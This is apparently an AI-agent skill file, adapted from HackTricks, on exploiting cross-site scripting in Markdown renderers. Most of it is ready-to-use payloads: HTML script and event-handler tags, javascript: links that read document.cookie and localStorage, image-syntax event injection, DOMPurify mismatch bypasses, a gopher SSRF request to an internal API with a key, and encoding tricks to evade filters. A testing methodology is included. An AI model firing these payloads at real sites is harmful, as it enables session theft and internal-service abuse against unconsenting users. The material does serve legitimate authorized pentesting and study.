Hacktricks-skills xss-in-markdown

How to find and exploit XSS vulnerabilities in Markdown parsers. Use this skill whenever the user mentions XSS in markdown, markdown injection, markdown XSS payloads, testing markdown fields for cross-site scripting, or any security testing involving markdown rendering. This includes situations where users need to test markdown input fields, understand markdown XSS vectors, or enumerate markdown parser vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/xss-in-markdown/SKILL.MD
source content

XSS in Markdown

When you have the ability to inject code in markdown, there are several techniques to trigger XSS when the code gets interpreted by markdown parsers.

Attack Vectors

1. HTML Tag Injection

The most common way to get XSS in markdown is to inject HTML tags that execute JavaScript, since many markdown interpreters accept HTML:

<script>
  alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload="alert(1)">
<body onload="alert(1)">

When to use: Test these first when you have raw markdown input. They work on most unfiltered markdown parsers.

2. JavaScript Links

If HTML tags are blocked, try markdown link syntax with JavaScript protocols:

[a](javascript:prompt(document.cookie))
[Basic](javascript:alert('Basic'))
[LocalStorage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[InQuotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

When to use: When HTML tags are filtered but markdown links are allowed. The spaced-out

j a v a s c r i p t
variant can bypass simple filters.

3. Image Event Syntax Abuse

Exploit markdown image syntax with event handlers:

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
![XSS'"`onerror=prompt(document.cookie)](x)

When to use: When image markdown is allowed but direct HTML is blocked. The angle bracket syntax

<...>
can help escape and inject event handlers.

4. HTML Sanitizer Bypasses

When the application sanitizes HTML before passing it to the markdown parser, exploit misinterpretations between the sanitizer and markdown parser:

<div
  id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
  -----------------------------------------------
  <a
    title="a

<img src=x onerror=alert(1)>"
    >yep</a
  >
  ------------------------------------------------ [x](y '<style>
    ')<!--
  </style>
  <div id="x--><img src=1 onerror=alert(1)>"></div>

When to use: When you detect HTML sanitization (like DOMPurify) before markdown parsing. These payloads exploit the order of operations.

5. Gopher Protocol

Use gopher to send arbitrary requests to internal services:

![pwn](gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1:1337%0D%0Ax-api-key:%20934caf984a4ca94817ead87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A)

When to use: For SSRF attacks when you need to make requests to internal services through the markdown renderer.

6. Encoding and Obfuscation Bypasses

Various encoding techniques to bypass filters:

[a](javascript:alert&#65534;(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:new%20Function`al\ert\`1\``;)

When to use: When basic payloads are filtered. Try HTML entities, URL encoding, and case variations.

Testing Methodology

  1. Start simple: Test basic
    <script>
    and
    <img onerror>
    tags first
  2. Try markdown links: If HTML is blocked, test
    javascript:
    protocol links
  3. Test image syntax: Try the
    ![alt](url"onerror=...)
    pattern
  4. Check for sanitization: If you see DOMPurify or similar, use sanitizer bypass payloads
  5. Fuzz with variations: Use encoding, spacing, and case variations
  6. Test gopher: For SSRF opportunities

Common Filter Bypasses

  • Case variation:
    JaVaScRiPt:
    instead of
    javascript:
  • Spacing:
    j a v a s c r i p t:
    with spaces
  • HTML entities:
    &#58;
    for
    :
    ,
    &#99;
    for
    c
  • URL encoding:
    %0A
    for newline,
    %0d%0a
    for CRLF
  • Error handlers:
    window.onerror=alert;throw 1
  • Data URIs:
    data:text/html;base64,...

Payload Sources

For additional payloads, reference:

Important Notes

  • Always test in a controlled environment with proper authorization
  • Some markdown parsers (like CommonMark) don't allow HTML by default
  • The effectiveness depends on the specific markdown library and its configuration
  • Client-side markdown libraries may behave differently from server-side ones
  • Always verify the actual markdown parser being used before selecting payloads